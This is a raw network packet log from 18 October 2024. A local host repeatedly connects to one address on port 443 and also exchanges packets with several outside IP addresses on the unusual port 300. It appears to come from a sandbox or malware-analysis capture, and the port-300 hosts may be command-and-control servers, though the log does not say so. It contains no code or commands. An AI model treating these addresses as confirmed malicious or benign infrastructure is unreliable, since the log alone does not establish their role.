Oct 18, 2024 23:46:22.401163101 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.403764963 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.409660101 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.409681082 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.410063028 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.410068035 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.427726984 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.428086996 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.428096056 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.428493977 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.428498983 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.511357069 CEST	443	49739	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.511493921 CEST	443	49739	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.513246059 CEST	49739	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.513287067 CEST	49739	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.513309002 CEST	443	49739	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.513324022 CEST	49739	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.513333082 CEST	443	49739	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.515774965 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.515821934 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.515916109 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.516073942 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.516088963 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.526516914 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.527265072 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.527318954 CEST	49738	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.527358055 CEST	49738	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.527379036 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.527396917 CEST	49738	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.527403116 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.529417992 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.529450893 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.530277014 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.530277014 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.530303001 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.530982971 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.531106949 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.531172037 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.531299114 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.531310081 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.531322002 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.531327009 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.533185959 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.533194065 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.533344984 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.533543110 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.533554077 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.537503958 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.537583113 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.537666082 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.537781954 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.537800074 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.537812948 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.537821054 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.539575100 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.539587021 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.539645910 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.539757013 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.539769888 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.560992956 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.561058998 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.561347008 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.561376095 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.561382055 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.561391115 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.561394930 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.563183069 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.563213110 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.563312054 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.563436985 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.563452959 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.255340099 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.255951881 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.256012917 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.257545948 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.257560968 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.265594959 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.266096115 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.266113043 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.266665936 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.266671896 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.281004906 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.281485081 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.281521082 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.282015085 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.282032013 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.286247969 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.286627054 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.286634922 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.287014008 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.287019014 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.298791885 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.299277067 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.299338102 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.299628973 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.299644947 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.383822918 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.383884907 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.383972883 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.384356976 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.384407043 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.384437084 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.384454012 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.387866974 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.387928009 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.388015032 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.388197899 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.388214111 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.395498991 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.395739079 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.395806074 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.395860910 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.395880938 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.395889997 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.395896912 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.398251057 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.398297071 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.398412943 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.398581982 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.398598909 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.411676884 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.411878109 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.411994934 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.412026882 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.412045956 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.412069082 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.412081003 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.415477037 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.415555000 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.415999889 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.416112900 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.416148901 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.417797089 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.418086052 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.418225050 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.418256998 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.418263912 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.418272972 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.418277025 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.420325994 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.420377970 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.420488119 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.420618057 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.420633078 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.426600933 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.426742077 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.426816940 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.426863909 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.426883936 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.426925898 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.426939011 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.429132938 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.429167032 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:23.429241896 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.429420948 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:23.429442883 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.141560078 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.142271042 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.142302036 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.142716885 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.142721891 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.148253918 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.148668051 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.148678064 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.149105072 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.149110079 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.164911032 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.165632963 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.165661097 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.166193962 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.166203976 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.183612108 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.184082031 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.184159040 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.184665918 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.184684992 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.191334963 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.191701889 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.191711903 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.192390919 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.192394972 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.271605015 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.271683931 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.271871090 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.271914005 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.271914005 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.271936893 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.271945953 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.274600983 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.274629116 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.274811029 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.274986029 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.275006056 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.277476072 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.277606010 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.277679920 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.277707100 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.277712107 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.277720928 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.277725935 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.279685020 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.279730082 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.279802084 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.279917955 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.279934883 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.294900894 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.294970989 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.295104027 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.295140028 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.295140028 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.295159101 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.295172930 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.297341108 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.297367096 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.297485113 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.297586918 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.297597885 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.316515923 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.316587925 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.316740990 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.316792965 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.316792965 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.316843987 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.316865921 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.318916082 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.319005966 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.319109917 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.319273949 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.319304943 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.323923111 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.324071884 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.324214935 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.324214935 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.324229956 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.324238062 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.326157093 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.326180935 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.326286077 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.326416016 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:24.326441050 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:24.743377924 CEST	49711	300	192.168.2.5	103.192.208.114
Oct 18, 2024 23:46:24.748794079 CEST	300	49711	103.192.208.114	192.168.2.5
Oct 18, 2024 23:46:24.774506092 CEST	49706	300	192.168.2.5	45.124.79.198
Oct 18, 2024 23:46:24.774521112 CEST	49712	300	192.168.2.5	103.192.208.122
Oct 18, 2024 23:46:24.779318094 CEST	300	49706	45.124.79.198	192.168.2.5
Oct 18, 2024 23:46:24.779342890 CEST	300	49712	103.192.208.122	192.168.2.5
Oct 18, 2024 23:46:24.821413994 CEST	49710	300	192.168.2.5	115.236.153.230
Oct 18, 2024 23:46:24.821413994 CEST	49709	300	192.168.2.5	115.236.153.243
Oct 18, 2024 23:46:24.821413994 CEST	49708	300	192.168.2.5	103.192.208.24
Oct 18, 2024 23:46:24.826273918 CEST	300	49710	115.236.153.230	192.168.2.5
Oct 18, 2024 23:46:24.826302052 CEST	300	49709	115.236.153.243	192.168.2.5
Oct 18, 2024 23:46:24.826316118 CEST	300	49708	103.192.208.24	192.168.2.5
Oct 18, 2024 23:46:24.852633953 CEST	49707	300	192.168.2.5	103.192.208.26
Oct 18, 2024 23:46:24.857419014 CEST	300	49707	103.192.208.26	192.168.2.5
Oct 18, 2024 23:46:25.005218029 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.005978107 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.006005049 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.006418943 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.006423950 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.010390043 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.010744095 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.010760069 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.011240005 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.011246920 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.050076962 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.053858995 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.053874016 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.054275990 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.054280043 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.057898998 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.061825037 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.061845064 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.062186956 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.062192917 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.063146114 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.065864086 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.065871954 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.066301107 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.066307068 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.071377993 CEST	49705	300	192.168.2.5	45.124.79.208
Oct 18, 2024 23:46:25.076297045 CEST	300	49705	45.124.79.208	192.168.2.5
Oct 18, 2024 23:46:25.136496067 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.136567116 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.136701107 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.136876106 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.136876106 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.136893034 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.136902094 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.138922930 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.139000893 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.139086962 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.139215946 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.139244080 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.139255047 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.139260054 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.139782906 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.139836073 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.139914989 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.140060902 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.140078068 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.141272068 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.141279936 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.141486883 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.141604900 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.141617060 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.183423996 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.183723927 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.183809996 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.184045076 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.184062004 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.184072018 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.184077024 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.186582088 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.186620951 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.186706066 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.186847925 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.186862946 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.186923981 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.186985016 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.187041998 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.187163115 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.187175035 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.187186956 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.187191963 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.189201117 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.189213037 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.189300060 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.189413071 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.189424992 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.191441059 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.191579103 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.193483114 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.193502903 CEST	49758	443	192.168.2.5	13.107.246.45
